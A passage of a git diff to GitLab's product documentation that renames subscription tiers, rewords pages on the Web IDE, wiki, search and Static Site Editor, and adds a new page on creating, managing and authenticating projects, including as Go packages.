`https://www.youtube.com/embed/0t1DgySidms` +- **YouTube video IDs**: `0t1DgySidms` ### Front matter @@ -164,13 +164,13 @@ The following URL/ID formats are supported: > - Ability to edit page front matter [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/235921) in GitLab 13.5. Front matter is a flexible and convenient way to define page-specific variables in data files -intended to be parsed by a static site generator. It is commonly used for setting a page's -title, layout template, or author, but can be used to pass any kind of metadata to the +intended to be parsed by a static site generator. Use it to set a page's +title, layout template, or author. You can also pass any kind of metadata to the generator as the page renders out to HTML. Included at the very top of each data file, the -front matter is often formatted as YAML or JSON and requires consistent and accurate syntax. +front matter is often formatted as YAML or JSON, and requires consistent and accurate syntax. To edit the front matter from the Static Site Editor you can use the GitLab regular file editor, -the Web IDE, or easily update the data directly from the WYSIWYG editor: +the Web IDE, or update the data directly from the WYSIWYG editor: 1. Click the **Page settings** button on the bottom-right to reveal a web form with the data you have on the page's front matter. The form is populated with the current data: @@ -181,10 +181,16 @@ the Web IDE, or easily update the data directly from the WYSIWYG editor: 1. When you're done, click **Submit changes...**. 1. Describe your changes (add a commit message). 1. Click **Submit changes**. -1. Click **View merge request** and GitLab will take you there. +1. Click **View merge request** to view it. -Note that support for adding new attributes to the page's front matter from the form is not supported -yet. You can do so by editing the file locally, through the GitLab regular file editor, or through the Web IDE. Once added, the form will load the new fields. +Adding new attributes to the page's front matter from the form is not supported. +To add new attributes: + +- Edit the file locally +- Edit the file with the GitLab regular file editor. +- Edit the file with the Web IDE. + +After adding an attribute, the form loads the new fields. ## Configuration files @@ -206,8 +212,8 @@ use to customize behavior of the Static Site Editor (SSE). If the file does not default values which support a default Middleman project configuration are used. The [Static Site Editor - Middleman](https://gitlab.com/gitlab-org/project-templates/static-site-editor-middleman) project template generates a file pre-populated with these defaults. -To customize the behavior of the SSE, edit `.gitlab/static-site-editor.yml`'s entries -(described in the table below) according to what works best for your project (respecting YAML syntax). +To customize the behavior of the SSE, edit `.gitlab/static-site-editor.yml`'s entries, +according to your project's needs. Make sure to respect YAML syntax. After the table, see an [example of the SSE configuration file](#gitlabstatic-site-editoryml-example). @@ -224,8 +230,9 @@ image_upload_path: 'source/images' # Relative path to the project's root. Don't ### Static Site Generator configuration The Static Site Editor uses Middleman's configuration file, `data/config.yml` -to customize the behavior of the project itself and to control the **Edit this -page** button, rendered through the file [`layout.erb`](https://gitlab.com/gitlab-org/project-templates/static-site-editor-middleman/-/blob/master/source/layouts/layout.erb). +to customize the behavior of the project itself. This file also controls the +**Edit this page** button, rendered through the file +[`layout.erb`](https://gitlab.com/gitlab-org/project-templates/static-site-editor-middleman/-/blob/master/source/layouts/layout.erb). To [configure the project template to your own project](#set-up-your-project), you must replace the `<username>` and `<project-name>` in the `data/config.yml` @@ -236,7 +243,7 @@ the Static Site Editor may use different configuration files or approaches. ## Using Other Static Site Generators -Although Middleman is the only Static Site Generator currently officially supported +Although Middleman is the only Static Site Generator officially supported by the Static Site Editor, you can configure your project's build and deployment to use a different Static Site Generator. In this case, use the Middleman layout as an example, and follow a similar approach to properly render an **Edit this page** diff --git a/doc/user/project/status_page/index.md b/doc/user/project/status_page/index.md deleted file mode 100644 index 513c410a6f9..00000000000 --- a/doc/user/project/status_page/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../../operations/incident_management/status_page.md' ---- - -This document was moved to [status_page.md](../../../operations/incident_management/status_page.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/time_tracking.md b/doc/user/project/time_tracking.md index c94795578ef..2b0ca38c57c 100644 --- a/doc/user/project/time_tracking.md +++ b/doc/user/project/time_tracking.md @@ -81,7 +81,7 @@ The following time units are available: Default conversion rates are 1mo = 4w, 1w = 5d and 1d = 8h. -### Limit displayed units to hours **(CORE ONLY)** +### Limit displayed units to hours **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29469/) in GitLab 12.1. diff --git a/doc/user/project/web_ide/index.md b/doc/user/project/web_ide/index.md index af8e78afb28..07f46cb94f7 100644 --- a/doc/user/project/web_ide/index.md +++ b/doc/user/project/web_ide/index.md @@ -5,12 +5,12 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, how-to --- -# Web IDE **(CORE)** +# Web IDE **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4539) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.4. -> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/44157) to GitLab Core in 10.7. +> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/44157) to GitLab Free in 10.7. -The Web IDE editor makes it faster and easier to contribute changes to your +The Web Integrated Development Environment (IDE) editor makes it faster and easier to contribute changes to your projects by providing an advanced editor with commit staging. ## Open the Web IDE @@ -22,11 +22,11 @@ and from merge requests. ## File finder -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18323) in [GitLab Core](https://about.gitlab.com/pricing/) 10.8. +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18323) in [GitLab Free](https://about.gitlab.com/pricing/) 10.8. The file finder allows you to quickly open files in the current branch by searching for fragments of the file path. The file finder is launched using the keyboard shortcut -<kbd>Cmd</kbd>+<kbd>p</kbd>, <kbd>Ctrl</kbd>+<kbd>p</kbd>, or <kbd>t</kbd> +<kbd>Command</kbd>+<kbd>p</kbd>, <kbd>Control</kbd>+<kbd>p</kbd>, or <kbd>t</kbd> (when editor is not in focus). Type the filename or file path fragments to start seeing results. @@ -102,7 +102,7 @@ based on the [JSON Schema Store](https://www.schemastore.org/json/). The Web IDE has validation for certain files built in. This feature is only supported for the `*.gitlab-ci.yml` files. -#### Enable or disable validation based on predefined schemas **(CORE ONLY)** +#### Enable or disable validation based on predefined schemas **(FREE SELF)** Validation based on predefined schemas is under development and not ready for production use. It is deployed behind a feature flag that is **disabled by default** for self-managed instances, @@ -154,7 +154,7 @@ Each schema entry supports two properties: ## Configure the Web IDE -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23352) in [GitLab Core](https://about.gitlab.com/pricing/) 13.1. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23352) in [GitLab Free](https://about.gitlab.com/pricing/) 13.1. The Web IDE supports configuration of certain editor settings by using [`.editorconfig` files](https://editorconfig.org/). When opening a file, the @@ -174,7 +174,7 @@ The Web IDE currently supports the following `.editorconfig` settings: ## Commit changes > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4539) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.4. -> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/44157) to GitLab Core in 10.7. +> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/44157) to GitLab Free in 10.7. > - From [GitLab 12.7 onward](https://gitlab.com/gitlab-org/gitlab/-/issues/33441), files were automatically staged. > - From [GitLab 12.9 onward](https://gitlab.com/gitlab-org/gitlab/-/issues/196609), support for staging files was removed to prevent loss of unstaged data. All your current changes necessarily have to be committed or discarded. @@ -202,7 +202,7 @@ shows you a preview of the merge request diff if you commit your changes. ## View CI job logs -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/19279) in [GitLab Core](https://about.gitlab.com/pricing/) 11.0. +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/19279) in [GitLab Free](https://about.gitlab.com/pricing/) 11.0. You can use the Web IDE to quickly fix failing tests by opening the branch or merge request in the Web IDE and opening the logs of the failed @@ -215,7 +215,7 @@ left. ## Switching merge requests -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/19318) in [GitLab Core](https://about.gitlab.com/pricing/) 11.0. +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/19318) in [GitLab Free](https://about.gitlab.com/pricing/) 11.0. To switch between your authored and assigned merge requests, click the dropdown in the top of the sidebar to open a list of merge requests. You need to commit or discard all your changes before switching to a different merge @@ -223,7 +223,7 @@ request. ## Switching branches -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20850) in [GitLab Core](https://about.gitlab.com/pricing/) 11.2. +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20850) in [GitLab Free](https://about.gitlab.com/pricing/) 11.2. To switch between branches of the current project repository, click the dropdown in the top of the sidebar to open a list of branches. @@ -232,8 +232,8 @@ different branch. ## Markdown editing -> - Markdown preview [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18059) in [GitLab Core](https://about.gitlab.com/pricing/) 10.7. -> - Support for pasting images [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22822) in [GitLab Core](https://about.gitlab.com/pricing/) 13.1. +> - Markdown preview [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18059) in [GitLab Free](https://about.gitlab.com/pricing/) 10.7. +> - Support for pasting images [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22822) in [GitLab Free](https://about.gitlab.com/pricing/) 13.1. When you edit Markdown files in the Web IDE, you can preview your changes by clicking the **Preview Markdown** tab above the file editor. The Markdown preview @@ -246,7 +246,7 @@ added to the filename. ## Live Preview -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/19764) in [GitLab Core](https://about.gitlab.com/pricing/) 11.2. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/19764) in [GitLab Free](https://about.gitlab.com/pricing/) 11.2. > - [Renamed](https://gitlab.com/gitlab-org/gitlab/-/issues/213853) from _Client Side Evaluation_ to _Live Preview_ in GitLab 13.0. You can use the Web IDE to preview JavaScript projects right in the browser. @@ -285,7 +285,7 @@ below. ## Interactive Web Terminals for the Web IDE > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5426) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.6. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/211685) to GitLab Core in 13.1. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/211685) to GitLab Free in 13.1. WARNING: Interactive Web Terminals for the Web IDE is currently in **Beta**. @@ -307,7 +307,7 @@ to work: This section requires at least a `session_timeout` value (which defaults to 1800 seconds) and a `listen_address` value. If `advertise_address` is not defined, `listen_address` is used. - If you are using a reverse proxy with your GitLab instance, web terminals need to be - [enabled](../../../administration/integration/terminal.md#enabling-and-disabling-terminal-support). **(ULTIMATE ONLY)** + [enabled](../../../administration/integration/terminal.md#enabling-and-disabling-terminal-support). **(ULTIMATE SELF)** If you have the terminal open and the job has finished with its tasks, the terminal blocks the job from finishing for the duration configured in @@ -389,7 +389,7 @@ click **Restart Terminal** to start a new terminal session. ### File syncing to web terminal > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5276) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.0. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/211686) to GitLab Core in 13.1. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/211686) to GitLab Free in 13.1. File changes in the Web IDE can be synced to a running web terminal. This enables users to test their code changes in a preconfigured terminal diff --git a/doc/user/project/wiki/index.md b/doc/user/project/wiki/index.md index 779179a6665..187fcb5b3f9 100644 --- a/doc/user/project/wiki/index.md +++ b/doc/user/project/wiki/index.md @@ -1,11 +1,11 @@ --- stage: Create -group: Knowledge +group: Editor info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, how-to --- -# Wiki **(CORE)** +# Wiki **(FREE)** A separate system for documentation called Wiki, is built right into each GitLab project. It is enabled by default on all new projects and you can find @@ -184,7 +184,7 @@ Similar to versioned diff file views, you can see the changes made in a given Wi Wiki events (creation, deletion, and updates) are tracked by GitLab and displayed on the [user profile](../../profile/index.md#user-profile), [group](../../group/index.md#view-group-activity), -and [project](../index.md#project-activity) activity pages. +and [project](../working_with_projects.md#project-activity) activity pages. ## Adding and editing wiki pages locally diff --git a/doc/user/project/working_with_projects.md b/doc/user/project/working_with_projects.md new file mode 100644 index 00000000000..3fe6193c414 --- /dev/null +++ b/doc/user/project/working_with_projects.md @@ -0,0 +1,341 @@ +--- +stage: Create +group: Source Code +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" +--- + +# Working with projects **(FREE)** + +Most work in GitLab is done in a [project](../../user/project/index.md). Files and +code are saved in projects, and most features are in the scope of projects. + +## Explore projects + +You can explore other popular projects available on GitLab. To explore projects: + +1. Click **Projects** in the navigation bar. +1. Click **Explore Projects**. + +GitLab displays a list of projects, sorted by last updated date. To view +projects with the most [stars](#star-a-project), click **Most stars**. To view +projects with the largest number of comments in the past month, click **Trending**. + +## Create a project + +To create a project in GitLab: + +1. In your dashboard, click the green **New project** button or use the plus + icon in the navigation bar. This opens the **New project** page. +1. On the **New project** page, choose if you want to: + - Create a [blank project](#blank-projects). + - Create a project using one of the available [project templates](#project-templates). + - [Import a project](../../user/project/import/index.md) from a different repository, + if enabled on your GitLab instance. Contact your GitLab administrator if this is unavailable. + - Run [CI/CD pipelines for external repositories](../../ci/ci_cd_for_external_repos/index.md). **(PREMIUM)** + +NOTE: +For a list of words that can't be used as project names see +[Reserved project and group names](../../user/reserved_names.md). + +### Blank projects + +To create a new blank project on the **New project** page: + +1. On the **Blank project** tab, provide the following information: + - The name of your project in the **Project name** field. You can't use + special characters, but you can use spaces, hyphens, underscores, or even + emoji. When adding the name, the **Project slug** auto populates. + The slug is what the GitLab instance uses as the URL path to the project. + If you want a different slug, input the project name first, + then change the slug after. + - The path to your project in the **Project slug** field. This is the URL + path for your project that the GitLab instance uses. If the + **Project name** is blank, it auto populates when you fill in + the **Project slug**. + - The **Project description (optional)** field enables you to enter a + description for your project's dashboard, which helps others + understand what your project is about. Though it's not required, it's a good + idea to fill this in. + - Changing the **Visibility Level** modifies the project's + [viewing and access rights](../../public_access/public_access.md) for users. + - Selecting the **Initialize repository with a README** option creates a + README file so that the Git repository is initialized, has a default branch, and + can be cloned. +1. Click **Create project**. + +### Project templates + +Project templates can pre-populate a new project with the necessary files to get you +started quickly. + +There are two main types of project templates: + +- [Built-in templates](#built-in-templates), sourced from the following groups: + - [`project-templates`](https://gitlab.com/gitlab-org/project-templates) + - [`pages`](https://gitlab.com/pages) +- [Custom project templates](#custom-project-templates), for custom templates + configured by GitLab administrators and users. + +#### Built-in templates + +Built-in templates are project templates that are: + +- Developed and maintained in the [`project-templates`](https://gitlab.com/gitlab-org/project-templates) + and [`pages`](https://gitlab.com/pages) groups. +- Released with GitLab. + +To use a built-in template on the **New project** page: + +1. On the **Create from template** tab, select the **Built-in** tab. +1. From the list of available built-in templates, click the: + - **Preview** button to look at the template source itself. + - **Use template** button to start creating the project. +1. Finish creating the project by filling out the project's details. The process is + the same as creating a [blank project](#blank-projects). + +##### Enterprise templates **(ULTIMATE)** + +GitLab is developing Enterprise templates to help you streamline audit management with selected regulatory standards. These templates automatically import issues that correspond to each regulatory requirement. + +To create a new project with an Enterprise template, on the **New project** page: + +1. On the **Create from template** tab, select the **Built-in** tab. +1. From the list of available built-in Enterprise templates, click the: + - **Preview** button to look at the template source itself. + - **Use template** button to start creating the project. +1. Finish creating the project by filling out the project's details. The process is the same as creating a [blank project](#blank-projects). + +Available Enterprise templates include: + +- HIPAA Audit Protocol template ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13756) in GitLab 12.10) + +NOTE: +You can improve the existing built-in templates or contribute new ones in the +[`project-templates`](https://gitlab.com/gitlab-org/project-templates) and +[`pages`](https://gitlab.com/pages) groups by following [these steps](https://gitlab.com/gitlab-org/project-templates/contributing). + +##### Custom project templates **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6860) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2. + +Creating new projects based on custom project templates is a convenient option for +quickly starting projects. + +Custom projects are available at the [instance-level](../../user/admin_area/custom_project_templates.md) +from the **Instance** tab, or at the [group-level](../../user/group/custom_project_templates.md) +from the **Group** tab, under the **Create from template** tab. + +To use a custom project template on the **New project** page: + +1. On the **Create from template** tab, select the **Instance** tab or the **Group** tab. +1. From the list of available custom templates, click the: + - **Preview** button to look at the template source itself. + - **Use template** button to start creating the project. +1. Finish creating the project by filling out the project's details. The process is + the same as creating a [blank project](#blank-projects). + +## Push to create a new project + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/26388) in GitLab 10.5. + +When you create a new repository locally, instead of manually creating a new project in GitLab +and then [cloning the repository](../../gitlab-basics/start-using-git.md#clone-a-repository) +locally, you can directly push it to GitLab to create the new project, all without leaving +your terminal. If you have access rights to the associated namespace, GitLab +automatically creates a new project under that GitLab namespace with its visibility +set to Private by default (you can later change it in the [project's settings](../../public_access/public_access.md#how-to-change-project-visibility)). + +This can be done by using either SSH or HTTPS: + +```shell +## Git push using SSH +git push --set-upstream git@gitlab.example.com:namespace/nonexistent-project.git master + +## Git push using HTTPS +git push --set-upstream https://gitlab.example.com/namespace/nonexistent-project.git master +``` + +You can pass the flag `--tags` to the `git push` command to export existing repository tags. + +Once the push finishes successfully, a remote message indicates +the command to set the remote and the URL to the new project: + +```plaintext +remote: +remote: The private project namespace/nonexistent-project was created. +remote: +remote: To configure the remote, run: +remote: git remote add origin https://gitlab.example.com/namespace/nonexistent-project.git +remote: +remote: To view the project, visit: +remote: https://gitlab.example.com/namespace/nonexistent-project +remote: +``` + +## Fork a project + +A fork is a copy of an original repository that you put in another namespace +where you can experiment and apply changes that you can later decide whether or +not to share, without affecting the original project. + +It takes just a few steps to [fork a project in GitLab](repository/forking_workflow.md#creating-a-fork). + +## Star a project + +You can star a project to make it easier to find projects you frequently use. +The number of stars a project has can indicate its popularity. + +To star a project: + +1. Go to the home page of the project you want to star. +1. In the upper right corner of the page, click **Star**. + +To view your starred projects: + +1. Click **Projects** in the navigation bar. +1. Click **Starred Projects**. +1. GitLab displays information about your starred projects, including: + + - Project description, including name, description, and icon + - Number of times this project has been starred + - Number of times this project has been forked + - Number of open merge requests + - Number of open issues + +## Delete a project + +To delete a project, first navigate to the home page for that project. + +1. Navigate to **Settings > General**. +1. Expand the **Advanced** section. +1. Scroll down to the **Delete project** section. +1. Click **Delete project** +1. Confirm this action by typing in the expected text. + +Projects in personal namespaces are deleted immediately on request. For information on delayed deletion of projects in a group, please see [Enabling delayed project removal](../group/index.md#enabling-delayed-project-removal). + +## Project settings + +Set the project's visibility level and the access levels to its various pages +and perform actions like archiving, renaming or transferring a project. + +Read through the documentation on [project settings](settings/index.md). + +## Project activity + +To view the activity of a project, navigate to **Project overview > Activity**. +From there, you can click on the tabs to see **All** the activity, or see it +filtered by **Push events**, **Merge events**, **Issue events**, **Comments**, +**Team**, and **Wiki**. + +### Leave a project + +**Leave project** only displays on the project's dashboard +when a project is part of a group (under a +[group namespace](../group/index.md#namespaces)). +If you choose to leave a project you are no longer a project +member, and cannot contribute. + +## Use your project as a Go package + +Any project can be used as a Go package. GitLab responds correctly to `go get` +and `godoc.org` discovery requests, including the +[`go-import`](https://golang.org/cmd/go/#hdr-Remote_import_paths) and +[`go-source`](https://github.com/golang/gddo/wiki/Source-Code-Links) meta tags. + +Private projects, including projects in subgroups, can be used as a Go package, +but may require configuration to work correctly. GitLab responds correctly +to `go get` discovery requests for projects that *are not* in subgroups, +regardless of authentication or authorization. +[Authentication](#authenticate-go-requests) is required to use a private project +in a subgroup as a Go package. Otherwise, GitLab truncates the path for +private projects in subgroups to the first two segments, causing `go get` to +fail. + +GitLab implements its own Go proxy. This feature must be enabled by an +administrator and requires additional configuration. See [GitLab Go +Proxy](../packages/go_proxy/index.md). + +### Disable Go module features for private projects + +In Go 1.12 and later, Go queries module proxies and checksum databases in the +process of [fetching a +module](../../development/go_guide/dependencies.md#fetching). This can be +selectively disabled with `GOPRIVATE` (disable both), +[`GONOPROXY`](../../development/go_guide/dependencies.md#proxies) (disable proxy +queries), and [`GONOSUMDB`](../../development/go_guide/dependencies.md#fetching) +(disable checksum queries). + +`GOPRIVATE`, `GONOPROXY`, and `GONOSUMDB` are comma-separated lists of Go +modules and Go module prefixes. For example, +`GOPRIVATE=gitlab.example.com/my/private/project` disables queries for that +one project, but `GOPRIVATE=gitlab.example.com` disables queries for *all* +projects on GitLab.com. Go does not query module proxies if the module name or a +prefix of it appears in `GOPRIVATE` or `GONOPROXY`. Go does not query checksum +databases if the module name or a prefix of it appears in `GONOPRIVATE` or +`GONOSUMDB`. + +### Authenticate Go requests + +To authenticate requests to private projects made by Go, use a [`.netrc` +file](https://ec.haxx.se/usingcurl-netrc.html) and a [personal access +token](../profile/personal_access_tokens.md) in the password field. **This only +works if your GitLab instance can be accessed with HTTPS.** The `go` command +does not transmit credentials over insecure connections. This authenticates +all HTTPS requests made directly by Go, but does not authenticate requests made +through Git. + +For example: + +```plaintext +machine gitlab.example.com +login <gitlab_user_name> +password <personal_access_token> +``` + +NOTE: +On Windows, Go reads `~/_netrc` instead of `~/.netrc`. + +### Authenticate Git fetches + +If a module cannot be fetched from a proxy, Go falls back to using Git (for +GitLab projects). Git uses `.netrc` to authenticate requests. You can also +configure Git to either: + +- Embed specific credentials in the request URL. +- Use SSH instead of HTTPS, as Go always uses HTTPS to fetch Git repositories. + +```shell +# Embed credentials in any request to GitLab.com: +git config --global url."https://${user}:${personal_access_token}@gitlab.example.com".insteadOf "https://gitlab.example.com" + +# Use SSH instead of HTTPS: +git config --global url."git@gitlab.example.com".insteadOf "https://gitlab.example.com" +``` + +## Access project page with project ID + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53671) in GitLab 11.8. + +To quickly access a project from the GitLab UI using the project ID, +visit the `/projects/:id` URL in your browser or other tool accessing the project. + +## Project's landing page + +The project's landing page shows different information depending on +the project's visibility settings and user permissions. + +For public projects, and to members of internal and private projects +with [permissions to view the project's code](../permissions.md#project-members-permissions): + +- The content of a + [`README` or an index file](repository/#repository-readme-and-index-files) + is displayed (if any), followed by the list of directories in the + project's repository. +- If the project doesn't contain either of these files, the + visitor sees the list of files and directories of the repository. + +For users without permissions to view the project's code, GitLab displays: + +- The wiki homepage, if any. +- The list of issues in the project. diff --git a/doc/user/search/advanced_global_search.md b/doc/user/search/advanced_global_search.md index 1898bdf06a9..2d1a05cd966 100644 --- a/doc/user/search/advanced_global_search.md +++ b/doc/user/search/advanced_global_search.md @@ -5,9 +5,10 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Advanced Search **(STARTER)** +# Advanced Search **(PREMIUM)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/109) in GitLab [Starter](https://about.gitlab.com/pricing/) 8.4. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/109) in GitLab 8.4. +> - [Moved](../../subscriptions/bronze_starter.md) to GitLab Premium in 13.9. NOTE: Advanced Search (powered by Elasticsearch) is enabled for Bronze and above on GitLab.com since 2020-07-10. diff --git a/doc/user/search/advanced_search_syntax.md b/doc/user/search/advanced_search_syntax.md index e3501be8e8e..19f7305124e 100644 --- a/doc/user/search/advanced_search_syntax.md +++ b/doc/user/search/advanced_search_syntax.md @@ -5,12 +5,10 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Advanced Search Syntax **(STARTER)** +# Advanced Search Syntax **(PREMIUM)** -> - Introduced in [GitLab Enterprise Starter](https://about.gitlab.com/pricing/) 9.2 - -NOTE: -Advanced Search (powered by Elasticsearch) is enabled for Bronze and above on GitLab.com since 2020-07-10. +> - Introduced in [GitLab](https://about.gitlab.com/pricing/) 9.2. +> - [Moved](../../subscriptions/bronze_starter.md) to GitLab Premium in 13.9. Use advanced queries for more targeted search results. diff --git a/doc/user/search/img/search_history.gif b/doc/user/search/img/search_history.gif Binary files differdeleted file mode 100644 index 4cfa48ee0ab..00000000000 --- a/doc/user/search/img/search_history.gif +++ /dev/null diff --git a/doc/user/search/index.md b/doc/user/search/index.md index d229c27b608..ffd331248be 100644 --- a/doc/user/search/index.md +++ b/doc/user/search/index.md @@ -9,16 +9,14 @@ type: index, reference, howto ## Issues and merge requests -To search through issues and merge requests in multiple projects, you can use the **Issues** or **Merge Requests** links -in the top-right part of your screen. +To search through issues and merge requests in multiple projects, use the **Issues** or **Merge Requests** links +in the top-right part of your screen. These instructions are valid for both. -Both of them work in the same way, therefore, the following notes are valid for both. - -The number displayed on their right represents the number of issues and merge requests assigned to you. +The number displayed on their right represents the number of issues and merge requests assigned to you:  -When you click **Issues**, the opened issues assigned to you are shown straight away: +When you click **Issues**, GitLab shows the opened issues assigned to you:  @@ -30,7 +28,7 @@ You can also filter the results using the search and filter field, as described ### Issues and MRs assigned to you or created by you GitLab shows shortcuts to issues and merge requests created by you or assigned to you -on the search field on the top-right of your screen: +in the search field in the upper right corner:  @@ -38,7 +36,7 @@ on the search field on the top-right of your screen: > - Filtering by Epics was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/195704) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9. > - Filtering by child Epics was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9029) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.0. -> - Filtering by Iterations was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.6. +> - Filtering by Iterations was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6. [Moved](../../subscriptions/bronze_starter.md) to GitLab Premium in 13.9. Follow these steps to filter the **Issues** and **Merge Requests** list pages in projects and groups: @@ -101,32 +99,34 @@ You can filter the **Issues** list to individual instances by their ID. For exam  -### Filtering merge requests by approvers **(STARTER)** +### Filtering merge requests by approvers **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/9468) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.9. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/9468) in GitLab 11.9. +> - [Moved](../../subscriptions/bronze_starter.md) to GitLab Premium in 13.9. To filter merge requests by an individual approver, you can type (or select from the dropdown) **Approver** and select the user.  -### Filtering merge requests by "approved by" **(STARTER)** +### Filtering merge requests by "approved by" **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30335) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.0. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30335) in GitLab 13.0. +> - [Moved](../../subscriptions/bronze_starter.md) to GitLab Premium in 13.9. To filter merge requests already approved by a specific individual, you can type (or select from the dropdown) **Approved-By** and select the user.  -### Filtering merge requests by reviewer **(CORE)** +### Filtering merge requests by reviewer **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47605) in GitLab 13.7. To filter review requested merge requests for a specific individual, you can type (or select from the dropdown) **Reviewer** and select the user. -### Filtering merge requests by environment or deployment date **(CORE)** +### Filtering merge requests by environment or deployment date **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44041) in GitLab 13.6. @@ -156,15 +156,16 @@ using the filter functionality, you can start typing characters to bring up relevant users or other attributes. For performance optimization, there is a requirement of a minimum of three -characters to begin your search. For example, if you want to search for -issues that have the assignee "Simone Presley", you must type at -least "Sim" before autocomplete gives any relevant results. +characters to begin your search. To search for issues with the assignee `Simone Presley`, +you must type at least `Sim` before autocomplete displays results. ## Search history -You can view recent searches by clicking on the little arrow-clock icon, which is to the left of the search input. Click the search entry to run that search again. This feature is available for issues and merge requests. Searches are stored locally in your browser. +Search history is available for issues and merge requests, and is stored locally +in your browser. To run a search from history: - +1. In the top menu, click **Issues** or **Merge requests**. +1. To the left of the search bar, click **Recent searches**, and select a search from the list. ## Removing search filters @@ -174,7 +175,7 @@ To delete filter tokens one at a time, the <kbd>⌥</kbd> (Mac) / <kbd>Control</ ## Filtering with multiple filters of the same type -Some filters can be added multiple times. These include but are not limited to assignees and labels. When you filter with these multiple filters of the same type, the AND logic is applied. For example, if you were filtering `assignee:@sam assignee:@sarah`, your results include only entries whereby the assignees are assigned to both Sam and Sarah are returned. +Some filters can be added multiple times. These include but are not limited to assignees and labels. When you filter with these multiple filters of the same type, the `AND` logic is applied. For example, if you were filtering `assignee:@sam assignee:@sarah`, your results include only entries whereby the assignees are assigned to both Sam and Sarah are returned.  @@ -192,8 +193,8 @@ You can search through your projects from the left menu, by clicking the menu ba On the field **Filter by name**, type the project or group name you want to find, and GitLab filters them for you as you type. -You can also look for the projects you [starred](../project/index.md#star-a-project) (**Starred projects**), and **Explore** all -public and internal projects available in GitLab.com, from which you can filter by visibility, +You can also look for the projects you [starred](../project/working_with_projects.md#star-a-project) (**Starred projects**). +You can **Explore** all public and internal projects available in GitLab.com, from which you can filter by visibility, through **Trending**, best rated with **Most stars**, or **All** of them. You can also sort them by **Name**, **Last created**, **Oldest created**, **Last updated**, @@ -217,7 +218,7 @@ and sort them by **Last created**, **Oldest created**, **Last updated**, or **Ol From an [Issue Board](../../user/project/issue_board.md), you can filter issues by **Author**, **Assignee**, **Milestone**, and **Labels**. You can also filter them by name (issue title), from the field **Filter by name**, which is loaded as you type. -When you want to search for issues to add to lists present in your Issue Board, click +To search for issues to add to lists present in your Issue Board, click the button **Add issues** on the top-right of your screen, opening a modal window from which you can, besides filtering them by **Name**, **Author**, 